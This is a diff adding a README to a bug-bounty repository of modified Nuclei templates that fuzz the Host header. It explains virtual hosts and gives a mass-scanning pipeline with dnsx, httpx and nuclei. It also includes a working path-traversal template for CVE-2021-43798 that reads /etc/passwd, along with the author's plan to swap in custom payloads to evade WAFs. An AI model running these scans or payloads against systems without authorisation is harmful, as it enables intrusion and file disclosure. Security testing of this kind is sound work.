diff --git a/README.md b/README.md index 5cdd57f5..2c3bdd48 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,239 @@ -# Virtual-Host - Modified Nuclei Templates Version to FUZZ Host Header +

Modified Nuclei Templates Version to FUZZ Host Header

+ + +

+ +

+ +

Requirements

+

1 - Understand Virtual Host

+

Virtual Host refers to run more than one web site on a single IP

+
e.g. You can configure Nginx to run two web site e.g. dev.example.com and api.example.com like that
+ +```sh +server { + listen 80; + listen [::]:80; + + root /var/www/dev/html; + index index.html; + + server_name dev.example.com; + + location / { + try_files $uri $uri/ =404; + } +} +``` + +```sh +server { + listen 443 ssl; + listen [::]:443 ssl; + + ssl on; + ssl_certificate /path/your.crt; + ssl_trusted_certificate /path/your.crt; + ssl_certificate_key /path/your.key; + + root /var/www/api/html; + index index.html; + + server_name api.example.com; + + location / { + try_files $uri $uri/ =404; + } +} +``` + +

2 - Install

+

+ dnsx +

+

+ httpx +

+

+ Nuclei +

+

+ +

+

+ anew +

+

+ +

+ +

3 - Clone this Repository

+

+ Virtual Host +

+ +

Usage

+ +```sh +cat subdomains.txt | dnsx -a -silent -retry 5 -resp -o scanning.txt +``` + +```sh +cat scanning.txt | tr -d '[]' | awk '{ print $2 }' | sort -u | tee -a ips.txt +``` + +```sh +cat ips.txt | httpx -threads 200 -silent -retries 2 -timeout 10 -o aliveIPS.txt +``` + +```sh +cat scanning.txt | awk '{ print $1 }' | sort -u | tee -a resolvableDomains.txt +``` + +```sh +cat resolvableDomains.txt | httpx -threads 200 -silent -retries 2 -timeout 10 -o websites.txt +``` +```sh +cat websites.txt | sed 's|^https://||' | sed 's|^http://||' | tee aliveSUBDOMAINS.txt +``` + +```sh +cat resolvableDomains.txt | anew aliveSUBDOMAINS.txt -d | tee -a deadSUBDOMAINS.txt +``` + +```sh +sed -i -- 's|/home/mahmoud/Wordlist/AllSubdomains.txt|/path/deadSUBDOMAINS.txt|' *.yaml +``` + +```sh +nuclei -c 300 -list aliveIPS.txt -bulk-size 50 -stats -retries 2 -timeout 20 -t "/Templates/CVE/" -severity high -o bugs.txt +``` + +

Keep in Your Mind

+ + +

If You gonna Use SSRF Templates , You must Use Your DOMAIN e.g.

+ +```sh +nuclei -c 300 -list aliveIPS.txt -bulk-size 50 -stats -retries 2 -timeout 20 -t "/Templates/SSRF/*.yaml" -var "MY-DOMAIN=me.com" +``` + +

To Minimize Number of ERRORS , Prefer Using FOR LOOP e.g.

+ +```sh + +for ip in `cat aliveIPS.txt` +do + nuclei -u $ip -bulk-size 50 -stats -retries 2 -timeout 20 -t "/Templates/" -severity high -o bugs.txt +done + +``` + + +

Tips

+

if U are Nuclei's Templates Contributer , write Your Templates by using HTTP raw format to MAKE THIS REPOSITORY UPDATE e.g.

+ +```sh +id: + +info: + name: + author: + severity: + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept-Encoding: gzip, deflate + Accept: */* + + matchers-condition: and + matchers: + - type: status + status: + - + + - type: word + words: + - "" + - "" + condition: and + + - type: word + part: header + words: + - "" +``` + +

Planning

+

I'm Trying to modify Nuclei's Templates to become MORE Powerful e.g. CVE-2021-43798

+ + + +```sh + +id: CVE-2021-43798 + +info: + name: + author: + severity: + + +requests: + - method: GET + path: + - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 +``` + +

I'm gonna Replace ../../../../../../../../../../../../../../../../../../../etc/passwd to {{FILE-unix}}

+ + +```sh + +id: CVE-2021-43798 + +info: + name: + author: + severity: + + +requests: + - method: GET + path: + - "{{BaseURL}}/public/plugins/alertlist/{{FILE-unix}}" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 +``` +

that will help to bypass WAFs by using Custom paylaods because I think all WAFs detect ../../etc/passwd so using ../../etc/passwd is gonna be useless but using Custom paylaods is gonna be useful

+ + +

Help ME !

+

these days I'm trying to find junior web penetration testing position but it's must be Remotely Becuase I'm still Student so IF YOU CAN HELP ME , DM on TWITTER

+

+ +